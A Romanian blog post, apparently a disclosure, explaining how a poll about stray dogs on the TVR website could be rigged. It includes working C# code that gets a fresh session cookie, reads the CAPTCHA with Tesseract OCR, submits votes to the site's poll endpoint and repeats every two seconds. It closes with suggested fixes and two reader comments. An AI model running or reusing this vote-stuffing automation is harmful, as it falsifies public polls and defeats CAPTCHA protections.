TVR si sondaje - sau cum poti manipula

Zilele astea a fost un sondaj pe situl TVR, care continea urmatoarea intrebare: "Care credeţi că este soluţia pentru a rezolva problema câinilor comunitari?" si avea cinci variante de raspuns:
Adopţia
Sterilizarea
Eutanasierea
Altă opţiune/comentaţi
Nu ştiu/nu mă interesează



Fiind cat de cat interesat de subiect si inscris intr-un grup de discutii, am vazut ca oamenii au inceput sa se alarmeze ca se voteaza de prea multe ori pentru o anumita optiune. Pur si simplu intr-un interval de doua ore raporturile o luasera razna, deci fie foarte multi oameni s-au mobilizat sa voteze, fie s-a scris o program de votare automata. S-a inclinat pentru prima varianta, datorita faptului ca formularul de sondaj contine si validare CAPTCHA.
Am inceput sa studiez problema si am mai vazut ca de la un calculator se poate vota de mai multe ori, pentru ca votul era numarat pe sesiune, nu pe IP. Deci inchideai si deschideai browserul sau stergeai cookie-ul PHPSESSID si puteai vota din nou. Asta era prima metoda de a manipula sondajul, manuala si plictisitoare, ce-i drept, pentru ca trebuia sa scrii codul de verificare, si de fiecare data era altul ( CAPTCHA).

A doua metoda este sa scrii un program care sa faca lucrurile astea automat. Programul trebuie sa fie capabil de urmatoarele lucruri:
1. sa obtina un nou cookie PHPSESSID
2. sa "citeasca" textul din imaginea cu codul de verificare
3. sa POST-eze PHPSESSID, votul si codul de verificare
4. sa se asigure ca votul a fost inscris.
5. sa repete acesti pasi la un interval de timp specificat si sa-si termine executia la un moment dat.


Pasul 1: obtinerea cookie-ului.
Intamplator, odata cu download-ul imaginii, se obtine si cookie-ul PHPSESSID


var imagePath = @"C:\temp\img.jpg";
var resultsPath = @"C:\temp\results";
var program = @"C:\Program Files\Tesseract-OCR\tesseract.exe";
var arguments = " \"" + imagePath + "\" \"" + resultsPath + "\"";

var responseOption = "478";
var questionnaireID = "145";


var captchaRequest = (HttpWebRequest)WebRequest.Create("http://www.tvr.ro/modules/captcha.php");
WebResponse response = captchaRequest.GetResponse();
Stream stream = response.GetResponseStream();
var image = Image.FromStream(stream);
image.Save(imagePath);


var phpsessid = response.Headers["Set-Cookie"].Replace("; path=/", String.Empty);


Pasul 2: citirea codului din imagine
Tehnica asta se numeste de fapt OCR. Am gasit un program care face acest lucru, si care poate fi folosit in linie de comanda. Se numeste Tesseact-OCR


var psi = new ProcessStartInfo(program, arguments);
psi.CreateNoWindow = true;

var p = System.Diagnostics.Process.Start(psi);
p.WaitForExit();
var code = File.ReadAllLines(resultsPath + ".txt")[0].Trim();


Pasii 3, 4: Votarea si asiguarea faptului ca s-a votat


var request = (HttpWebRequest)WebRequest.Create(string.Format("http://www.tvr.ro/modules/apoll.php?id={0}",questionnaireID));


request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.Headers["Cookie"] = phpsessid;
using (var requestStream = request.GetRequestStream())
using (var writer = new StreamWriter(requestStream))
{
writer.Write(string.Format("id={0}&option={1}&comment=&security_code={2}&name=&vote=Voteaza",
questionnaireID,
responseOption,
code));
}

using (var responseStream = request.GetResponse().GetResponseStream())
using (var reader = new StreamReader(responseStream))
{
var result = reader.ReadToEnd();
var regEx = new Regex(@">(?<voturi>\d+)\svot");
if (regEx.IsMatch(result))
{
var nrVoturi = regEx.Matches(result)[0].Groups["voturi"];
Console.WriteLine(nrVoturi + " voturi");
}
}


Pasul 5: Vot din 2 in 2 secunde, pana la ora 20.

var stop = new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 20, 0,0);
var i = 0;
while ( DateTime.Now <= stop)
{
Thread.Sleep(1 * 2000);
try
{
sendRequest();
}
catch (Exception e)
{
Console.WriteLine(e);
}
i++;
}


Acum.. ideea e ca aceste sondaje sunt prezentate intr-un jurnal de stiri si pe baza lor oamenii pot lua decizii. TVR, fiind post national, este urmarit de foarte multa lume si, atunci cand lanseaza sondaje, ar trebui sa se asigure si de veridicitatea si intentia votantilor. Un cod de validare mai complex si restrictionarea votului pe IP ar putea fi doua sugestii pentru obtinerea unui sondaj cat mai aproape de adevar.

Un mic printscreen, in urma testelor



Sondajul pe care a fost testat programul

Tool-uri folosite: Fiddler, .Net si Tesseract-OCR

Comments

  1. Nu prea am inteles mare lucru din demonstratie insa te cred pe cuvant :)

    ReplyDelete
  2. Mda... asta din cauza ca au folosit o varianta foarte simpla de captcha... toate cifrele scrise clar, nedistorsionate, fundal unicolor si contrast maxim; o banalitate pt OCR.

    Si uite-asa TVR-u ne ajuta sa credem ca mii de oameni vor sa aiba caini agresivi pe domeniul public :(

    ReplyDelete

Post a Comment

Popular posts from this blog

IIS 7.5, HTTPS Bindings and ERR_CONNECTION_RESET

Verify ILogger calls with Moq.ILogger

Table Per Hierarchy Inheritance with Column Discriminator and Associations used in Derived Entity Types